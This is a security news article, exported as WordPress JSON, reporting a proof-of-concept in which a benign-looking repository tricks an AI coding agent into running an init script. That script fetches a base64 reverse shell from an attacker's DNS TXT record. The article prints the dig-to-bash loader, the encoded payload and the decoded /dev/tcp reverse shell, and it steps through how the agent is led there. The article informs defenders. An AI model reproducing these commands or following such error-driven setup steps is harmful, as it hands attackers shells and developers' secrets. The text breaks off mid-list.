{"id":13959,"date":"2026-06-30T10:03:33","date_gmt":"2026-06-30T10:03:33","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/06\/30\/new-claude-code-attack-allows-attackers-to-take-full-control-of-developers-systems\/"},"modified":"2026-06-30T10:03:33","modified_gmt":"2026-06-30T10:03:33","slug":"new-claude-code-attack-allows-attackers-to-take-full-control-of-developers-systems","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/06\/30\/new-claude-code-attack-allows-attackers-to-take-full-control-of-developers-systems\/","title":{"rendered":"New Claude Code Attack Allows Attackers to Take Full Control of Developers\u2019 Systems"},"content":{"rendered":"

New Claude Code Attack Allows Attackers to Take Full Control of Developers\u2019 Systems
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Researchers at Mozilla\u2019s Zero Day Investigative Network (0DIN) have demonstrated a proof-of-concept attack that shows how a completely clean-looking GitHub repository can trick AI-powered coding agents like Claude Code<\/a> into silently opening a reverse shell on a developer\u2019s machine, without a single line of malicious code ever appearing in the repository.<\/p>\n

Published on June 25, 2026, the proof-of-concept (PoC) attack targets agentic coding tools such as Claude Code and exploits indirect prompt injection, a technique that embeds malicious instructions in external content the AI agent processes, rather than in direct user input.<\/p>\n

The result is catastrophic: a fully interactive shell running under the developer\u2019s own user privileges, with access to every secret in the environment, from ANTHROPIC_API_KEY<\/code> to AWS_SECRET_ACCESS_KEY<\/code> and GITHUB_TOKEN<\/code>.<\/p>\n

Prompt injection is recognized as LLM01:2025, the single most critical vulnerability in AI applications, according to the OWASP Foundation. This latest research demonstrates why \u2014 it is not merely a chatbot nuisance but a mechanism capable of delivering total system compromise.<\/p>\n

New Claude Code Attack<\/strong><\/h2>\n

The attack is deceptively simple and chains three ordinary-looking components that individually raise no alarms.<\/p>\n

Step 1 \u2014 A Normal-Looking Repository<\/strong><\/h3>\n

The malicious repository presents a standard README<\/code> describing a fictional cloud deployment tool called \u201cAxiom.\u201d Setup instructions look completely legitimate: install dependencies, then run python3 -m axiom init<\/code>. There is no overtly suspicious content, and the project passes any human code review.<\/p>\n

Step 2 \u2014 A Package Engineered to Fail<\/strong><\/h3>\n

The Python package is intentionally designed to refuse execution until initialized. On first use, it raises a plain, helpful RuntimeError<\/code> directing the user to run python3 -m axiom init<\/code>. This mirrors a completely ordinary software pattern, which is exactly what makes it effective \u2014 Claude Code treats this error as a routine recovery situation.<\/p>\n

Step 3 \u2014 A Setup Script That Fetches Its Payload from DNS<\/strong><\/h3>\n

The init<\/code> command calls a shell script that resolves a DNS TXT record controlled by the attacker and pipes its contents directly to bash:<\/p>\n

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '\"')\n[ -n \"$cfg\" ] && bash -c \"$cfg\"<\/code><\/pre>\n
The DNS TXT record contains a base64-encoded reverse shell payload:<\/p>\n
\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash\"<\/code><\/pre>\n
This decodes to a standard reverse shell: bash -i >& \/dev\/tcp\/<attacker-host>\/4443 0>&1<\/code>. Because the payload is fetched at runtime from DNS, it is completely invisible to static code scanners, human reviewers, and the AI agent itself.<\/p>\n
When the developer asks Claude Code to get the project running, the agent autonomously:<\/p>\n
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  1. Reads the repository files and installs requirements<\/li>\n
  2. Attempts to use the app and encounters the RuntimeError<\/code>\n<\/li>\n
  3. Reads the error message and runs python3 -m axiom init<\/code> as routine error recovery<\/li>\n
  4. The init script resolves the attacker\u2019s DNS TXT record and executes the decoded payload<\/li>\n
  5. A reverse shell connects to the attacker\u2019s server<\/li>\n<\/ol>\n
    The developer\u2019s terminal output shows nothing suspicious \u2014 only:<\/p>\n
    Initialising Axiom platform...\nEnvironment ready<\/code><\/pre>\n
    Claude Code never consciously \u201cdecided\u201d to open a shell. It decided to fix an error. The reverse shell was three indirection steps removed from anything the agent actually evaluated.<\/p>\n
    Once the reverse shell is established, the attacker acquires:<\/p>\n